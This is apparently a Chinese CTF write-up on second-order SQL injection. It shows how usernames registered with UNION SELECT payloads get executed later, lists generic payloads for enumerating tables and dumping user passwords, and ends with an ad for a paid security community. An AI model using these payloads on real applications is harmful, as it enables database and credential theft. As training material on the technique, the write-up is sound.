看名字应该就知道是间接的注入。
二次注入:
即使用了addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数,导致实际存储在数据库中是没有转义的数据,这样读取的时候就可以被当做指令执行。
首先随便注册并登入一个账号,这里面有info信息
所以猜测是
info = "SELECT info_content FROM info WHERE username = '$logged_in_username'";
那么只需要在注册时候提前写好sql注入语句,就可以在info中回显
分享常见sql注入语句(这里的1,3是非回显点)
union select null,version(),null#
union select 1,database(),3#
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#
union select 1,username,password from users limit 1#
union select group_concat(password) from users#
开始解题
注册名为 1' union select database() #

注册名为 1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#

注册名为 1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#

注册名为 1' union select group_concat(flag) from flag#

网络安全的学习之路需要持续的输入和交流。如果你觉得这篇教程对你有所帮助,我的知识星球「网络安全干货精选」或许能为你提供更多价值。直达链接:https://t.zsxq.com/akza7
这里是一个专注于网安干货分享的社群,内容涵盖:
1.CTF解题技巧与工具实战
2.红蓝对抗中的工具与战术
3.前沿漏洞分析与利用实践
4.每周精选的高质量安全资讯
期待与你在这个小圈子里相遇,共同交流切磋,快速成长。

3344

被折叠的 条评论
为什么被折叠?



